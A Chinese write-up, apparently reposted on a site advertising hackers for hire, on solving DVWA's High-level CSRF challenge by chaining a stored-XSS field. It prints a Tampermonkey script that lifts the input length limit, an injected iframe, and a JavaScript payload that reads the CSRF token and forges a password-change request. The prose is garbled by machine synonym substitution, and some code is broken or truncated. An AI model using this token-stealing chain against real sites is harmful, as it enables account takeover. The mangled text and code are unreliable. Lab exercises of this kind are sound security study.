DVWA 1.10 High等级的CSRF另类通关法-黑客接单平台

访客5年前黑客文章965
网上有许多关于CSRF High等级的通关记载,可是都有一个缺点,没有做到主动触发修正暗码。这儿记载了我在解题时的思路,趁便共享出来抛砖引玉,期望大佬们不吝赐教哈 0×00 简略剖析一下CSRF后端逻辑 vulnerabilitiescsrfsourcehigh.php if( isset( $_GET[ 'Change' ] ) ) { // 验证 Token 假如不正确则跳转到index.php // dvwaincludesdvwaPage.inc.php:527 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //...中心省掉,只重视上下这两个函数... // 生成 Token , 使用了 md5( uniqid() ),所以简直不行能猜测到Token值 // dvwaincludesdvwaPage.inc.php:527 generateSessionToken(); ?> (这儿仅仅简略阐明一下逻辑,本站已有长辈详细剖析过源码) 因为使用了不行猜测到的token,所以咱们首要想到的思路,便是找一个XSS缝隙来合作,先经过XSS取得token之后修正暗码。 0×01 突破点 XSS-Stored vulnerabilitiesxss_ssourcehigh.php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags去除了HTML标签,htmlspecialchars 转义特别字符&"为实体 $message = strip_tags( addslashes( $message ) ); ... $message = htmlspecialchars( $message ); // $name并没有像上面相同严厉过滤,只用正则简略的做了除掉,导致了XSS的或许,可是有约束下面会说 $name = preg_replace( '/, '', $name ); ... // 将$message、$name刺进数据表 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; ... //mysql_close(); } ?> 这儿现已剖析确认了$name可被咱们利用做XSS,这样就可以合作CSRF来重置用户暗码了。 需求先阐明一下DVWA的数据库规划,guestbook表的name字段类型为varchar(100),也便是说最多name只能写入100个字符,超越的字符会被数据库扔掉不存储。 那么怎么做到bypass呢,便是本文要表达的重点了。 0×02 前端先设置油猴脚本 因为DVWA前端的Name字段约束长度10个字符,并且测验过程中发包次数许多,每次都要修正长度就很烦,这儿就可以让油猴替代咱们修正,当然你也可以用Burpsuite发包,我这儿只写了自己的测验办法。 *** W: 这儿没有修正DVWA后端源码,以保证跟我们的代码共同。 // ==UserScript== // @name 改掉DVWA烦人的长度约束 // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author F1tz // @match http://dvwa.lab/vulnerabilities/xss_s/ // @grant none // ==/UserScript== (function() { 'use strict'; var N = document.getElementsByName('txtName'); var M = document.getElementsByName('mtxMessage'); N[0].maxLength=100; N[0].size=60; M[0].value=1; })(); 装置脚本,并保证脚本处于启用状况。 这时候翻开测验页面,就可以直接输入最多100个字符了,并且Message会主动填入1。 下面开端测验。 0×03 一次失利的测验 结构payload: 先刺进了一个iframe标报到留言板 "../csrf"> 并在控制台履行测验payload句子 f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t; [1][2][3]黑客接单网

相关文章

安全搜索引擎Shodan(搜蛋)命令行形式运用TIPS

与谷歌经过网址来搜索互联网的方法不同,Shodan经过互联网背面的通道来搜索信息。它就象是一种“漆黑”的谷歌,不断在寻觅服务器、网络摄像头、打印机、路由器和其他与互联网衔接及构成互联网的全部东西。 S...

Django开发与攻防测验(入门篇)

最近在培训包含在一些竞赛中,python结构方面的攻防需求呈现的越来越频频。 尽管python结构相关于Java、php等的广泛度还略低一点(当然现在的盛行程度现已越来越高了),可是咱们并不能够因此而...

深化了解Json Web Token之实战篇

原本想用python DRF 的 JWT做,后来各种失利。终究尝试了用Php,发现十分便当。 PHP 版别 PHP 7.2.4-1+b2 (cli),也便是kali linux自带的php,至于com...

Web爬虫:多线程、异步与动态署理开始

在收集数据的时分,经常会碰到有反收集战略规矩的WAF,使得原本很简略工作变得复杂起来。黑名单、约束拜访频率、检测HTTP头号这些都是常见的战略,不按常理出牌的也有检测到爬虫行为,就往里注入假数据回来,...

一个CMS事例实战解说PHP代码审计入门

前语 php代码审计介绍:望文生义便是查看php源代码中的缺陷和错误信息,剖析并找到这些问题引发的安全漏洞。 1、环境建立: 工欲善其事必先利其器,先介绍代码审计必要的环境建立 审计环境 window...

PHP序列化与反序列化解读

花费了点时刻研讨了下PHP序列化,写在这儿。一是便利自己知识点回忆,二是协助相同有疑问的人,欢迎纠正过错,不喜勿喷. 0×01.确认装备文件 首要体系运用的ubuntu apt-get install...